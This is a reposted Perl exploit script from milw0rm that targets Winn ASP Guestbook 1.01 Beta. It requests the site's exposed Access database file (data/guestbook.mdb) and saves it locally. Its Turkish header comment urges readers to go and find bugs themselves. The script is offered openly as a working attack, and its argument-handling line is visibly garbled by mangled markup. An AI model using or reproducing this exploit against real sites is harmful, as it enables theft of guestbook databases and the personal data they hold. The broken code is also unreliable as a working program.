Winn ASP GuestBook 1.01b Remote Database Disclosure Exploit

Kaynak: http://www.milw0rm.com/exploits/8596

#!/usr/bin/perl -w
#
# Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit
#
# Found By : Public Version
#
# Home: milw0rm.com
#
# Not: Bug Bulunamaz diye bir şey yok arkadaşlar yapan yapıyor siz neden yapmayasınız ki ?
#
# Thanks : AlpHaNiX, W0cker, Dr.Ly0n, ThE g0bL!N And All Friends
#
# Download : http://winn.ws/downloads/asp-guestbook-v1-01.zip



use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('title Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit');
system('color 2');


if(@ARGV < file="data/guestbook.mdb" url = "http://" useragent =" LWP::UserAgent-">new();
my $request = $useragent->get($url,":content_file" => "C:/db.mdb");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to C:/db.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}